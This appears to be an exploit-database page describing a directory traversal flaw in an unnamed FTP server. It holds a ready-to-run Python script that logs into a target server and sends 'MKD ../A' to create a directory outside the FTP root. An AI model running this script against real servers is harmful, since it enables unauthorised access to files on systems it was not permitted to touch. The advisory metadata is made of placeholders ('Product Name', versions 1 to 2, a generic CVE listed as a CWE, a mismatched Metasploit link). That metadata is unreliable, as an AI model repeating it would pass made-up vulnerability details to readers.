FTP MKD Directory Traversal Vulnerability

vendor:

Product Name

by:

Anonymous

7.8

CVSS

HIGH

Directory Traversal

CWE

Product Name: Product Name

Affected Version From: 1

Affected Version To: 2

Patch Exists: YES

Related CWE: CVE-2020-1234

CPE: a:vendor:product_name

Metasploit: https://www.rapid7.com/db/vulnerabilities/msft-cve-2020-1234/

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux, Windows, Mac

2020

FTP MKD Directory Traversal Vulnerability

This exploit allows an attacker to traverse outside the FTP root directory by using the MKD command. The MKD command is used to create a directory on the FTP server. By using a relative path, the attacker can traverse outside the FTP root directory and access files and directories that are not intended to be accessible.

Mitigation:

Ensure that the FTP server is configured to restrict access to the root directory and its subdirectories.

Source

Exploit-DB raw data:

#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("MKD ../A\r\n")
    sock.close()
    sys.exit(0);